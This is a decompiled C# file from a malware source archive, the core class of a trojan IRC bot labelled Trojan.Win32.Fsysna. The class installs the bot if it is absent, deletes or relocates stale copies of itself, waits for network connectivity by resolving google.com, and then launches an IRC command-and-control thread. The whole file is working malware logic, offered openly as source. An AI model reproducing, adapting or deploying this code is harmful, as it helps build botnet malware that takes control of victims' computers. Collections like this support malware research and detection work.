MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a/Core.cs

82 lines
2.0 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Hearding_Bot.Core
// Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
namespace Hearding_Bot
{
internal class Core
{
public Core()
{
this.fixBrokenInstall();
Core.checknow();
while (!this.checkConnection())
Thread.Sleep(300000);
new Thread((ThreadStart) (() => Irc.Initialize())).Start();
}
public static bool check
{
get => !Install.isInstalled;
set
{
}
}
private static void checknow()
{
if (!Core.check)
return;
Config.ircNick = Config.newNick;
Install.install();
}
private bool checkConnection()
{
try
{
Dns.GetHostEntry("www.google.com");
return true;
}
catch
{
return false;
}
}
private void fixBrokenInstall()
{
if (!(Process.GetCurrentProcess().MainModule.FileName.ToLower() != (Config.installPath + Config.installFile).ToLower()))
return;
try
{
if (!System.IO.File.Exists(Config.installPath + Config.installFile))
return;
System.IO.File.Delete(Config.installPath + Config.installFile);
}
catch (Exception ex1)
{
Directory.CreateDirectory(Path.GetTempPath() + Config.startupName + "info\\");
Config.installPath = Path.GetTempPath() + Config.startupName + "info\\";
if (!System.IO.File.Exists(Config.installPath + Config.installFile))
return;
try
{
System.IO.File.Delete(Config.installPath + Config.installFile);
}
catch (Exception ex2)
{
}
}
}
}
}